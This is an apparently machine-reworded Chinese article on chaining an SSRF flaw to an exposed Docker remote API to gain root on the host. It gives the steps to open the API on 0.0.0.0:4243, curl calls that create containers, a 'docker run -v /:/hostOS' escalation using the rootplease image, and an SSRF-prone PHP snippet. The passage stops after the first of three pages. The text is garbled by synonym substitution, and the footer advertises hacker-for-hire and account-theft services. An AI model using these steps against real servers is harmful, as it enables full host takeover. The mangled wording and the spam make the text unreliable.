经过SSRF缝隙进犯Docker长途API获取服务器Root权限

访客5年前黑客资讯495

这几天笔者在做关于自动化布置Docker镜像方面的项目,然后触摸到了Docker的API,而Docker的API也能够经过TCP衔接的方式来进行拜访。从一个安全爱好者的视点动身,是否能够运用Docker的长途API来完结提权等一系列的操作?查找了各种材料之后,终究笔者探究到了一条经过SSRF缝隙来进犯Docker长途API,然后取得长途主机的root权限的进犯思路,经过这篇文章来共享一下整个进程及其防备的办法。
1. Docker长途API介绍
Docker长途API是Docker团队为了便运用户长途管理Docker而供给的一套API接口。在默许的情况下,Docker Daemon运转于Unix Socket上,一般为unix:///var/run/docker.sock。
当需求长途管理Docker服务器或许是创立Docker集群时,或许需求敞开Docker的长途API。在Ubuntu上的一种敞开办法如下:
修正/lib/systemd/system/docker.service文件,修正ExecStart一行:
[Service]
Type=notify
# the default is not to use systemd for cgroups because the delegate issues still
# exists and systemd currently does not support the cgroup feature set required
# for containers run by docker
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
ExecReload=/bin/kill -s HUP $MAINPID
LimitNOFILE=1048576
之后再重启docker:
sudo service docker restart
然后就能够运用Docker客户端或许恣意http客户端拜访Docker服务,例如:

能够看到Docker供给的API实质上是一个RSTful方式的http接口,详细的文档能够从Docker的官网获取:Engine API V1.24。
这儿列出几个重要的接口:
列出一切的容器:
$ curl http:/localhost:4243/v1.24/containers/json
列出一切镜像:
$ curl http:/localhost:4243/v1.24/images/json[{
  "Id":"sha256:31d9a31e1dd803470c5a151b8919ef1988ac3efd44281ac59d43ad623f275dcd",
  "ParentId":"sha256:ee4603260daafe1a8c2f3b78fd760922918ab2441cbb2853ed5c439e59c52f96",
  ...
}]
创立并运转容器:
$ curl  -H "Content-Type: application/json"
  -d '{"Image": "alpine", "Cmd": ["echo", "hello world"]}'
  -X POST http:/localhost:4243/v1.24/containers/create
{"Id":"1c6594faf5","Warnings":null}
$ curl   -X POST http:/localhost:4243/v1.24/containers/1c6594faf5/start
http:/localhost:4243/v1.24/containers/1c6594faf5/wait
{"StatusCode":0}
$ curl  "http:/localhost:4243/v1.24/containers/1c6594faf5/logs?stdout=1"
hello world
到了这儿,咱们能够看到假如开放了Docker长途API,咱们便能够运用RESTful接口来完结一系列Docker容器操作。
2. 运用docker容器提权
有些朋友或许会问了:Docker容器内部是一个与主机阻隔的虚拟化环境,怎样才能运用Docker容器获取主机操控权?这儿就涉及到Docker运转时的用户权限了。Docker Daemon运转时是以root用户运转,因此具有极高的权限:
$ ps aux|grep dockerd
root      1723  0.1  0.8 563472 68900 ?        Ssl  17:17   0:24 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
image    25504  0.0  0.0  15984   936 pts/3    S+   21:12   0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn dockerd
那么怎样经过Docker Daemon终究取得服务器的root权限?这儿咱们能够运用Docker挂载宿主机文件的功用,直接挂载高权限目录,然后在容器内部获取宿主机的操控权限。
这儿有一个黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
运转后的输出如下:

退出Docker,检查宿主机/root/目录:

咱们能够看到成功在/root文件夹写入了一个文件。
上面那条指令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease首要的作用是:从 Docker Hub上面下载咱们指定的镜像,然后运转。参数 -v 将容器外部的目录/挂载到容器内部 /hostOS,而且运用-i和-t 参数进入容器的shell。而这个镜像rootplease在容器内部执行了一个脚本exploit.sh,首要内容就是chroot到/hostOS中。这样咱们便经过读写宿主机的恣意文件完结了获取宿主机的更高权限。这个镜像的源码能够在 Github上获取。
3. 经过SSRF完结进犯
这儿咱们的服务器端环境如下:

在PHP中经常出现,导致SSRF缝隙的代码完结:
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$_GET['url']);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);

[1] [2] [3]  黑客接单网

相关文章

恣意用户暗码重置(二):重置凭据接纳端可篡改

在逻辑缝隙中,恣意用户暗码重置最为常见,或许呈现在新用户注册页面,也或许是用户登录后重置暗码的页面,或许用户忘掉暗码时的暗码找回页面,其间,暗码找回功用是重灾区。我把日常浸透过程中遇到的事例作了缝隙成...

破解rar解压密码,找黑客盗号需要多少钱,黑客师傅哪里找

在admin/plugin.php插件上传处存在上传缝隙,经过上传zip紧缩的文件,即可上传木马文件。 在plugin.php约79行处的上传点当action为upload_zip进行判别,先判别是否...

网上有黑客接单吗,暗网找黑客,棋牌输钱找黑客

0x02 防护第一招——代码层将下载文件解包后,对歹意装置包的时刻戳进行计算,依据样本的时刻戳内容,这些歹意文件应该是运用生成器一致生成,且编译时刻在2014/3/13(不扫除人为修正或许),那么可估...

淘宝上怎么找接单的黑客_黑客软件

9、qwerty (↓ 5) g_now = gpr_time_add(...经营厅号段计算ArrayBuffer的作业原理淘宝上怎么找接单的黑客,黑客软件 另一种办法是在网站上注入脚本或将广告投放到...

微信密码丢了,唯一绑定的手机号也注销了,找了一

fi可以在Microsoft安全更新指南中找到支持Windows版本的下载,使用支持版本的Windows并启用自动更新的客户将自动受到保护。 test.localBreakpoint 1 at 0x4...

哪里介绍黑客接单论坛_学信网学信网

例如,假如咱们从这个ArrayBuffer的Int8视图获取元素0和1,那么它将给出与Uint16视图中的元素0不同的值,即便它们包括完全相同的位。 message Session {不久之前,Kub...